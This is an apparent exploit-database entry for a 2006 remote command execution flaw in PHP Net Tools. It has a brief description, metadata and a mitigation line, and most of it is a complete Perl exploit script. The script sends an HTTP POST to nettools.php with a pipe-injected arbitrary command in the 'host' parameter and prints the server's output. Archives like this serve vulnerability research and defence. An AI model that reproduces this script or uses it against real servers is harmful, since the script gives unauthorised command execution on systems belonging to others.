PHP Net Tools Remote Code Execution Exploit

vendor:

PHP Net Tools

by:

FOX_MULDER

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: PHP Net Tools

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PHP Net Tools Remote Code Execution Exploit

This exploit allows an attacker to execute arbitrary code on a vulnerable server running PHP Net Tools. The vulnerability is due to insufficient sanitization of user-supplied input to the 'host' parameter of the 'nettools.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request containing an arbitrary command to the vulnerable server.

Mitigation:

Upgrade to the latest version of PHP Net Tools or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# PHP Net Tools Remote Code Execution Exploit
#
# by FOX_MULDER (fox_mulder@abv.bg)
# Vulnerability found by FOX_MULDER.
#
# "Born to be root !!!"
#----------------------------------+
#PHP Net Tools                     |
#Copyright (C) 2005 Eric Robertson |
#h4rdc0d3@gmail.com                |
#----------------------------------+
#
# Fact:Wbyte counted twice to infinity !!!
#
#
###################################################
	use LWP 5.64;

	my $hostname = $ARGV[0];
	my $dir = $ARGV[1];
	my $command = $ARGV[2];

        if (@ARGV<2) {
	print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n";
	exit();
	}
	
	print "=======================================================\n";
	print "0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n";
	print "PHP Net Tools Command Execution Exploit by FOX_MULDER\n";
	print "fox_mulder@abv.bg\r\n";
	print "=======================================================\n";

	my $browser = LWP::UserAgent->new;
	$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
	print "\n\n[+]Sending request to server . . .\r\n";
	
	my $url = "http://$hostname$dir/nettools.php";

	
	my $response = $browser->post( $url,[
		'ping' => '1',
        	'host' => "|$command"]);

 	my $code = $response->status_line;
        print "[+] HTTP RESPONSE $code\n";
        print "\n[+]Injecting command . . .\n";
	$response->content =~ /blockquote>(.*)<\/blockquote>/s;
	print "$1\n";

# milw0rm.com [2006-04-18]